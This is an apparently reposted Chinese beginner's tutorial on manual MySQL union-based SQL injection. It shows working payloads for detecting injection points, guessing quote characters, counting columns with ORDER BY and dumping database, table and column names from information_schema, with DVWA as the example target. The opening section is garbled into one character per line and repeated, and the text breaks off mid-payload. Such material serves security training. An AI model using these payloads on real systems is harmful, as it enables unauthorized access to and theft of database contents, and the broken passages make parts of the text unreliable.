mysql注入初學總結(2)
阿新 • • 發佈:2021-01-26
技術標籤:mysql
sql注入流程:
1、判斷注入點(判斷是否存在sql注入漏洞)
i
d
=
1
a
n
d
1
=
1
/
/
頁
面
正
常
顯
示
1
a
n
d
1
=
2
/
/
頁
面
空
顯
示
說
明
存
在
注
入
點
是
數
值
型
注
入
點
如
果
:
1
a
n
d
1
=
2
−
−
頁
面
正
常
顯
示
並
不
能
說
明
不
存
在
注
入
點
s
e
l
e
c
t
∗
f
r
o
m
u
s
e
r
w
h
e
r
e
i
d
=
id=1 and 1=1 //頁面正常顯示 1 and 1=2 //頁面空顯示 說明存在注入點 是數值型注入點 如果: 1 and 1=2 --頁面正常顯示 並不能說明 不存在注入點 select * from user where id=
id=1and1=1//頁面正常顯示1and1=2//頁面空顯示說明存在注入點是數值型注入點如果:1and1=2−−頁面正常顯示並不能說明不存在注入點select∗fromuserwhereid=id
如果1 and 1=2頁面正常顯示 這個位置的變數有可能使用了包裹符號
判斷使用了什麼包裹符號 " ’ ‘) “) ')) “))
假設 "
1” and 1=1 – - //正常
1” and 1=2 – - //空顯示 說明存在注入點 是字元型注入點
select * from user where id=“1” and 1=1 – - "
select * from user where id=(‘1’) and 1=1 – - "
(1)、獲取資料庫基本資訊
a、當前頁面所使用的的資料庫表一共有多少列(存在多少欄位)
1’ order by 1 – -
b、判斷顯示位(判斷資料庫表中的第幾個欄位顯示在了前端)
1’ union select 1,2 – -
select * from user where id=‘1’ union select 1,2 – -’
C、真正獲取資料庫基本資訊 1、登入資料庫所使用的使用者 (2)、判斷資料庫語句對引數的包裹使用的什麼包裹符號? 省略註釋符 等待資料庫報錯 通過儲存資訊看看包裹符號 (3)、獲取資料庫中的其他資料(使用者名稱和密碼) a、獲取當前頁面所使用的資料庫表 表名 庫名已知 一庫: information_schema 存放的是mysql中所有庫,表的全部資訊 三表: 表名:schemata:存放的是庫的資訊 欄位名:schema_name:全部庫名 構造:select schema_name from information.schemata 注入語句:select * from user where id='1' union select 1,schema_name from information_schema.schemata -- -' 表名:tables:存放的是全部表資訊 欄位名:table_name:存放的是表名 欄位名:table_schema:存放的是庫名 構造: select table_name from information_schema.tables where table_schema="庫名"; 注入語句: select * from user where id='1' union select table_name from information_schema.tables where table_schema="dvwa",2 -- -' 表名:columns:存放的是資料庫中全部的欄位資訊 欄位名:table_name: 欄位名:table_schema: 欄位名:column_name:全部欄位名 構造:select column_name from information_schema.columns where table_schema="庫名" and table_name=“表名”; 注入語句: select * from user where id='1' union select 1,column_name from information_schema.columns where table_schema="dvwa" and table_name="users" -- - 六欄位: 欄位名:schema_name:全部庫名 欄位名:table_name:存放的是表名 欄位名:table_schema:存放的是庫名 欄位名:table_name: 欄位名:table_schema: 欄位名:column_name:全部欄位名 構造: select * from user where id='1' o'